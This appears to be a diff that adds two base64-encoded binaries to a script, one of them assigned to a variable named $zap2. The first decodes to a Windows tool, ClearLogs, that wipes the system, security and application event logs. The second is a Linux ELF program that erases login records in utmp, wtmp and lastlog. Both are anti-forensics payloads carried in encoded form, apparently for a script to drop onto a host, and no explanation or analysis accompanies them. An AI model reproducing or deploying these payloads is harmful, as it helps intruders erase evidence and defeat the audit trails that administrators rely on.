+Z3NXAABtAlNldEhhbmRsZUNvdW50AABSAUdldFN0ZEhhbmRsZQAAFQFHZXRGaWxlVHlwZQBQAUdl +dFN0YXJ0dXBJbmZvQQCdAUhlYXBEZXN0cm95AJsBSGVhcENyZWF0ZQAAvwJWaXJ0dWFsRnJlZQCf +AUhlYXBGcmVlAAAvAlJ0bFVud2luZADfAldyaXRlRmlsZQCZAUhlYXBBbGxvYwC/AEdldENQSW5m +bwC5AEdldEFDUAAAMQFHZXRPRU1DUAAAuwJWaXJ0dWFsQWxsb2MAAKIBSGVhcFJlQWxsb2MAPgFH +ZXRQcm9jQWRkcmVzcwAAwgFMb2FkTGlicmFyeUEAAKoARmx1c2hGaWxlQnVmZmVycwAAagJTZXRG +aWxlUG9pbnRlcgAA5AFNdWx0aUJ5dGVUb1dpZGVDaGFyAL8BTENNYXBTdHJpbmdBAADAAUxDTWFw +U3RyaW5nVwAAUwFHZXRTdHJpbmdUeXBlQQAAVgFHZXRTdHJpbmdUeXBlVwAAfAJTZXRTdGRIYW5k +bGUAABsAQ2xvc2VIYW5kbGUAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAACiBAABQ2QAAAAAAAAAAAAK8gQAAAAAAAAAAAAAAAAAAAAAAA +U3VjY2VzczogVGhlIGxvZyBoYXMgYmVlbiBjbGVhcmVkCgAARXJyb3I6IFVuYWJsZSB0byBjbGVh +ciBsb2cgLSAAAAAlcwoARXJyb3I6IFVuYWJsZSB0byBvcGVuIGxvZyAtIAAAAAAgICAgICAgIC1z +eXMgPSBzeXN0ZW0gbG9nCgAAICAgICAgICAtc2VjID0gc2VjdXJpdHkgbG9nCgAAAAAgICAgICAg +IC1hcHAgPSBhcHBsaWNhdGlvbiBsb2cKACBVc2FnZTogY2xlYXJsb2dzIFtcXGNvbXB1dGVybmFt +ZV0gPC1hcHAgLyAtc2VjIC8gLXN5cz4KCgAAAFN5c3RlbQAALXN5cwAAAABTZWN1cml0eQAAAAAt +c2VjAAAAAEFwcGxpY2F0aW9uAC1hcHAAAAAAICAgICAgICAgICAgICAtIGh0dHA6Ly9udHNlY3Vy +aXR5Lm51L3Rvb2xib3gvY2xlYXJsb2dzLwoKAAAAQ2xlYXJMb2dzIDEuMCAtIChjKSAyMDAyLCBB +cm5lIFZpZHN0cm9tIChhcm5lLnZpZHN0cm9tQG50c2VjdXJpdHkubnUpCgAACgAAAA4UQAABAAAA +OFFAAChRQADAcUAAAAAAAMBxQAABAQAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAIAAAAB +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAgAAAAIAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAABQAAwAsAAAAAAAAAHQAAwAQAAAAAAAAAlgAAwAQAAAAAAAAA +jQAAwAgAAAAAAAAAjgAAwAgAAAAAAAAAjwAAwAgAAAAAAAAAkAAAwAgAAAAAAAAAkQAAwAgAAAAA +AAAAkgAAwAgAAAAAAAAAkwAAwAgAAAAAAAAAAwAAAAcAAAAKAAAAjAAAAP////8ACgAAEAAAACAF +kxkAAAAAAAAAAAAAAAAAAAAAAgAAAKRTQAAIAAAAeFNAAAkAAABMU0AACgAAAChTQAAQAAAA/FJA +ABEAAADMUkAAEgAAAKhSQAATAAAAfFJAABgAAABEUkAAGQAAABxSQAAaAAAA5FFAABsAAACsUUAA +HAAAAIRRQAB4AAAAdFFAAHkAAABkUUAAegAAAFRRQAD8AAAAUFFAAP8AAABAUUAAAAAAAAAAAABW +REAAVkRAAFZEQABWREAAVkRAAFZEQADiZUAA4mVAAAAAIAAgACAAIAAgACAAIAAgACAAKAAoACgA +KAAoACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgAEgAEAAQABAAEAAQABAAEAAQ +ABAAEAAQABAAEAAQABAAhACEAIQAhACEAIQAhACEAIQAhAAQABAAEAAQABAAEAAQAIEAgQCBAIEA +gQCBAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQABAAEAAQAQABAAEAAQABAAEACC +AIIAggCCAIIAggACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAAgACAAIAEAAQABAA +EAAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAECBAgAAAAApAMA +AGCCeYIhAAAAAAAAAKbfAAAAAAAAoaUAAAAAAACBn+D8AAAAAEB+gPwAAAAAqAMAAMGj2qMgAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAACB/gAAAAAAAED+AAAAAAAAtQMAAMGj2qMgAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAACB/gAAAAAAAEH+AAAAAAAAtgMAAM+i5KIaAOWi6KJbAAAAAAAAAAAAAAAAAAAA +AACB/gAAAAAAAEB+of4AAAAAUQUAAFHaXtogAF/aatoyAAAAAAAAAAAAAAAAAAAAAACB09je4PkA +ADF+gf4AAAAAAAAAAAAAAAD4AwAAAQAAAC4AAAABAAAAAQAAABYAAAACAAAAAgAAAAMAAAACAAAA +BAAAABgAAAAFAAAADQAAAAYAAAAJAAAABwAAAAwAAAAIAAAADAAAAAkAAAAMAAAACgAAAAcAAAAL +AAAACAAAAAwAAAAWAAAADQAAABYAAAAPAAAAAgAAABAAAAANAAAAEQAAABIAAAASAAAAAgAAACEA +AAANAAAANQAAAAIAAABBAAAADQAAAEMAAAACAAAAUAAAABEAAABSAAAADQAAAFMAAAANAAAAVwAA +ABYAAABZAAAACwAAAGwAAAANAAAAbQAAACAAAABwAAAAHAAAAHIAAAAJAAAABgAAABYAAACAAAAA +CgAAAIEAAAAKAAAAggAAAAkAAACDAAAAFgAAAIQAAAANAAAAkQAAACkAAACeAAAADQAAAKEAAAAC +AAAApAAAAAsAAACnAAAADQAAALcAAAARAAAAzgAAAAIAAADXAAAACwAAABgHAAAMAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AA=="; + +$zap2="f0VMRgEBAQAAAAAAAAAAAAIAAwABAAAAcIQECDQAAABEDAAAAAAAADQAIAAHACgAGwAYAAYAAAA0 +AAAANIAECDSABAjgAAAA4AAAAAUAAAAEAAAAAwAAABQBAAAUgQQIFIEECBMAAAATAAAABAAAAAEA +AAABAAAAAAAAAACABAgAgAQIowkAAKMJAAAFAAAAABAAAAEAAACkCQAApJkECKSZBAgoAQAAMAEA +AAYAAAAAEAAAAgAAALQJAAC0mQQItJkECMgAAADIAAAABgAAAAQAAAAEAAAAKAEAACiBBAgogQQI +IAAAACAAAAAEAAAABAAAAFHldGQAAAAAAAAAAAAAAAAAAAAAAAAAAAYAAAAEAAAAL2xpYi9sZC1s +aW51eC5zby4yAAAEAAAAEAAAAAEAAABHTlUAAAAAAAIAAAACAAAABQAAAAMAAAAOAAAADQAAAAwA +AAALAAAAAAAAAAAAAAABAAAAAAAAAAAAAAADAAAABAAAAAUAAAAGAAAAAgAAAAkAAAAIAAAABwAA +AAoAAAAAAAAAAAAAAAAAAAAAAAAAHgAAAAAAAAB8AAAAEgAAAGcAAAAAAAAAcQAAABIAAABbAAAA +AAAAAB0AAAASAAAAKQAAAAAAAACsAAAAEgAAAEkAAAAAAAAA1QAAABIAAAALAAAAAAAAACkAAAAS +AAAAEgAAAAAAAAA8AAAAEgAAAGIAAAAAAAAAfAAAABIAAAAYAAAAAAAAADAAAAASAAAAMQAAAAAA +AAD/AAAAEgAAADoAAABgiQQIBAAAABEADgAkAAAAAAAAAHwAAAASAAAAbQAAAAAAAAAAAAAAIAAA +AABsaWJjLnNvLjYAcHJpbnRmAGxzZWVrAGJ6ZXJvAHdyaXRlAHJlYWQAc3RybmNtcABnZXRwd25h +bQBfSU9fc3RkaW5fdXNlZABfX2xpYmNfc3RhcnRfbWFpbgBzdHJsZW4Ab3BlbgBjbG9zZQBfX2dt +b25fc3RhcnRfXwBHTElCQ18yLjAAAAACAAIAAgACAAIAAgACAAIAAgACAAEAAgAAAAAAAQABAAEA +AAAQAAAAAAAAABBpaQ0AAAIAfAAAAAAAAADImgQIBg0AAJyaBAgHAQAAoJoECAcCAACkmgQIBwMA +AKiaBAgHBAAArJoECAcFAACwmgQIBwYAALSaBAgHBwAAuJoECAcIAAC8mgQIBwkAAMCaBAgHCgAA +xJoECAcMAABVieWD7Ajo8QAAAOhMAQAA6G8FAADJwwD/NZSaBAj/JZiaBAgAAAAA/yWcmgQIaAAA +AADp4P////8loJoECGgIAAAA6dD/////JaSaBAhoEAAAAOnA/////yWomgQIaBgAAADpsP////8l +rJoECGggAAAA6aD/////JbCaBAhoKAAAAOmQ/////yW0mgQIaDAAAADpgP////8luJoECGg4AAAA +6XD/////JbyaBAhoQAAAAOlg/////yXAmgQIaEgAAADpUP////8lxJoECGhQAAAA6UD///8x7V6J +4YPk8FBUUmjYiAQIaJCIBAhRVmgaiAQI6G/////0kJBVieVT6AAAAABbgcPzFQAAUIuDOAAAAIXA +dAL/0Itd/MnDkJBVieWD7AiAPcyaBAgAdSmhrJkECIsQhdJ0F4n2g8AEo6yZBAj/0qGsmQQIixCF +0nXrxgXMmgQIAcnDifZVieWD7AihjJoECIXAdBm4AAAAAIXAdBCD7AxojJoECOjnevv3g8QQycOQ +kFWJ5YHsiAEAAIPsCGoCaGSJBAjo+P7//4PEEKPQmgQIgz3QmgQIAA+IsgAAAIPsBGiAAQAAjYV4 +/v//UP810JoECOj5/v//g8QQhcB/Aut+g+wM/3UI6GX+//+DxBCJwo2FeP7//4PALIPsBFL/dQhQ +6Fr+//+DxBCFwHWwg+wIaIABAACNhXj+//9Q6I/+//+DxBCD7ARqAWiA/v///zXQmgQI6Ff+//+D +xBCD7ARogAEAAI2FeP7//1D/NdCaBAjo2v3//4PEEOlf////g+wM/zXQmgQI6NT9//+DxBDJw1WJ +5YHsmAEAAMeFdP7//wEAAACD7AhqAmhuiQQI6A3+//+DxBCj0JoECIM90JoECAAPiBMBAACDvXT+ +////dQXp9AAAAIPsBGoCi5V0/v//idDR4AHQweAH99hQ/zXQmgQI6Lj9//+DxBCD7ARogAEAAI2F +eP7//1D/NdCaBAjo2/3//4PEEIXAeQzHhXT+////////66CD7Az/dQjoPf3//4PEEInCjYV4/v// +g8Asg+wEUv91CFDoMv3//4PEEIXAdWiD7AhogAEAAI2FeP7//1DoZ/3//4PEEIPsBGoCi5V0/v// +idDR4AHQweAH99hQ/zXQmgQI6CL9//+DxBCD7ARogAEAAI2FeP7//1D/NdCaBAjopfz//4PEEMeF +dP7////////pC////42FdP7///8A6f7+//+D7Az/NdCaBAjoiPz//4PEEMnDVYnlgexIAQAAg+wM +/3UI6O/8//+DxBCJRfSDffQAD4SUAAAAg+wIagJofIkECOiw/P//g8QQo9CaBAiDPdCaBAgAD4iD +AAAAg+wEagCLRfSLUAiJ0MHgAwHQweADAdDB4AJQ/zXQmgQI6GX8//+DxBCD7AhoJAEAAI2FuP7/ +/1Dobvz//4PEEIPsBGgkAQAAjYW4/v//UP810JoECOjR+///g8QQg+wM/zXQmgQI6ND7//+DxBDr +E4PsCP91CGiNiQQI6Pv7//+DxBDJw1WJ5YPsCIPk8LgAAAAAKcSDfQgCdUuD7AyLRQyDwAT/MOgN +////g8QQg+wMi0UMg8AE/zDorv3//4PEEIPsDItFDIPABP8w6Lr8//+DxBCD7AxolIkECOia+/// +g8QQ6xCD7Axom4kECOiI+///g8QQycOQkJBVieVXVlOD7AzoAAAAAFuBw/IRAADo7vr//42TFP// +/42LFP///ynKMfbB+gI51nMPideQ/5SzFP///0Y5/nL0g8QMW15fycNVieVWU+gAAAAAW4HDrhEA +AI2LFP///42DFP///ynBwfkChcmNcf91C+g6AAAAW17Jw4n2/5SzFP///4nyToXSdfLr5VWJ5VNS +oXyaBAiD+P+7fJoECHQMg+sE/9CLA4P4/3X0WFvJw1WJ5VPoAAAAAFuBw0cRAABS6GL7//+LXfzJ +wwADAAAAAQACAC9ldGMvdXRtcAAvdXNyL2FkbS93dG1wAC91c3IvYWRtL2xhc3Rsb2cAJXM6ID8K +AFphcDIhCgBFcnJvci4KAAAAAAAAAAAAAIiaBAgAAAAAAQAAAAEAAAAMAAAAmIMECA0AAABAiQQI +BAAAAEiBBAgFAAAAdIIECAYAAACUgQQICgAAAIYAAAALAAAAEAAAABUAAAAAAAAAAwAAAJCaBAgC +AAAAWAAAABQAAAARAAAAFwAAAECDBAgRAAAAOIMECBIAAAAIAAAAEwAAAAgAAAD+//9vGIMECP// +/28BAAAA8P//b/qCBAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA +AAAAAAD/////AAAAAP////8AAAAAAAAAALSZBAgAAAAAAAAAAMaDBAjWgwQI5oMECPaDBAgGhAQI +FoQECCaEBAg2hAQIRoQECFaEBAhmhAQIAAAAAABHQ0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAA +R0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdDQzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAABH +Q0M6IChHTlUpIDMuMy4zIChyZWxlYXNlKQAAR0NDOiAoR05VKSAzLjMuMyAocmVsZWFzZSkAAEdD +QzogKEdOVSkgMy4zLjMgKHJlbGVhc2UpAAAuc3ltdGFiAC5zdHJ0YWIALnNoc3RydGFiAC5pbnRl +cnAALm5vdGUuQUJJLXRhZwAuaGFzaAAuZHluc3ltAC5keW5zdHIALmdudS52ZXJzaW9uAC5nbnUu +dmVyc2lvbl9yAC5yZWwuZHluAC5yZWwucGx0AC5pbml0AC50ZXh0AC5maW5pAC5yb2RhdGEALmRh +dGEALmVoX2ZyYW1lAC5keW5hbWljAC5jdG9ycwAuZHRvcnMALmpjcgAuZ290AC5ic3MALmNvbW1l +bnQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGwAAAAEAAAACAAAA +FIEECBQBAAATAAAAAAAAAAAAAAABAAAAAAAAACMAAAAHAAAAAgAAACiBBAgoAQAAIAAAAAAAAAAA +AAAABAAAAAAAAAAxAAAABQAAAAIAAABIgQQISAEAAEwAAAAEAAAAAAAAAAQAAAAEAAAANwAAAAsA +AAACAAAAlIEECJQBAADgAAAABQAAAAEAAAAEAAAAEAAAAD8AAAADAAAAAgAAAHSCBAh0AgAAhgAA +AAAAAAAAAAAAAQAAAAAAAABHAAAA////bwIAAAD6ggQI+gIAABwAAAAEAAAAAAAAAAIAAAACAAAA +VAAAAP7//28CAAAAGIMECBgDAAAgAAAABQAAAAEAAAAEAAAAAAAAAGMAAAAJAAAAAgAAADiDBAg4 +AwAACAAAAAQAAAAAAAAABAAAAAgAAABsAAAACQAAAAIAAABAgwQIQAMAAFgAAAAEAAAACwAAAAQA +AAAIAAAAdQAAAAEAAAAGAAAAmIMECJgDAAAXAAAAAAAAAAAAAAAEAAAAAAAAAHAAAAABAAAABgAA +ALCDBAiwAwAAwAAAAAAAAAAAAAAABAAAAAQAAAB7AAAAAQAAAAYAAABwhAQIcAQAANAEAAAAAAAA +AAAAAAQAAAAAAAAAgQAAAAEAAAAGAAAAQIkECEAJAAAbAAAAAAAAAAAAAAAEAAAAAAAAAIcAAAAB +AAAAAgAAAFyJBAhcCQAARwAAAAAAAAAAAAAABAAAAAAAAACPAAAAAQAAAAMAAACkmQQIpAkAAAwA +AAAAAAAAAAAAAAQAAAAAAAAAlQAAAAEAAAACAAAAsJkECLAJAAAEAAAAAAAAAAAAAAAEAAAAAAAA +AJ8AAAAGAAAAAwAAALSZBAi0CQAAyAAAAAUAAAAAAAAABAAAAAgAAACoAAAAAQAAAAMAAAB8mgQI +fAoAAAgAAAAAAAAAAAAAAAQAAAAAAAAArwAAAAEAAAADAAAAhJoECIQKAAAIAAAAAAAAAAAAAAAE +AAAAAAAAALYAAAABAAAAAwAAAIyaBAiMCgAABAAAAAAAAAAAAAAABAAAAAAAAAC7AAAAAQAAAAMA +AACQmgQIkAoAADwAAAAAAAAAAAAAAAQAAAAEAAAAwAAAAAgAAAADAAAAzJoECMwKAAAIAAAAAAAA +AAAAAAAEAAAAAAAAAMUAAAABAAAAAAAAAAAAAADMCgAAqAAAAAAAAAAAAAAAAQAAAAAAAAARAAAA +AwAAAAAAAAAAAAAAdAsAAM4AAAAAAAAAAAAAAAEAAAAAAAAAAQAAAAIAAAAAAAAAAAAAAHwQAAAg +BQAAGgAAACsAAAAEAAAAEAAAAAkAAAADAAAAAAAAAAAAAACcFQAA9gIAAAAAAAAAAAAAAQAAAAAA +AAAAAAAAAAAAAAAAAAAAAAAAAAAAABSBBAgAAAAAAwABAAAAAAAogQQIAAAAAAMAAgAAAAAASIEE +CAAAAAADAAMAAAAAAJSBBAgAAAAAAwAEAAAAAAB0ggQIAAAAAAMABQAAAAAA+oIECAAAAAADAAYA +AAAAABiDBAgAAAAAAwAHAAAAAAA4gwQIAAAAAAMACAAAAAAAQIMECAAAAAADAAkAAAAAAJiDBAgA +AAAAAwAKAAAAAACwgwQIAAAAAAMACwAAAAAAcIQECAAAAAADAAwAAAAAAECJBAgAAAAAAwANAAAA +AABciQQIAAAAAAMADgAAAAAApJkECAAAAAADAA8AAAAAALCZBAgAAAAAAwAQAAAAAAC0mQQIAAAA +AAMAEQAAAAAAfJoECAAAAAADABIAAAAAAISaBAgAAAAAAwATAAAAAACMmgQIAAAAAAMAFAAAAAAA +kJoECAAAAAADABUAAAAAAMyaBAgAAAAAAwAWAAAAAAAAAAAAAAAAAAMAFwAAAAAAAAAAAAAAAAAD +ABgAAAAAAAAAAAAAAAAAAwAZAAAAAAAAAAAAAAAAAAMAGgABAAAAlIQECAAAAAACAAwAEQAAAAAA +AAAAAAAABADx/xwAAAB8mgQIAAAAAAEAEgAqAAAAhJoECAAAAAABABMAOAAAAIyaBAgAAAAAAQAU +AEUAAACsmQQIAAAAAAEADwBJAAAAzJoECAEAAAABABYAVQAAALiEBAgAAAAAAgAMAGsAAAD0hAQI +AAAAAAIADAARAAAAAAAAAAAAAAAEAPH/dwAAAICaBAgAAAAAAQASAIQAAACImgQIAAAAAAEAEwCR +AAAAsJkECAAAAAABABAAnwAAAIyaBAgAAAAAAQAUAKsAAAAciQQIAAAAAAIADADBAAAAAAAAAAAA +AAAEAPH/yAAAALSZBAgAAAAAEQARANEAAADQmgQIBAAAABEAFgDTAAAAAAAAAHwAAAASAAAA5AAA +AAAAAABxAAAAEgAAAPUAAABciQQIBAAAABEADgD8AAAApJkECAAAAAAQAvH/DQEAACCFBAjhAAAA +EgAMABcBAAComQQIAAAAABECDwAkAQAA2IgECEQAAAASAAwANAEAAJiDBAgAAAAAEgAKADoBAABw +hAQIAAAAABIADABBAQAAAAAAAB0AAAASAAAAUwEAAAAAAACsAAAAEgAAAGYBAACkmQQIAAAAABAC 